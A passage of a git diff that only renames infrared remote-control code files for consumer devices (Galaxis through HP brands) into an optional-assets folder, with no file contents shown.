b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir similarity index 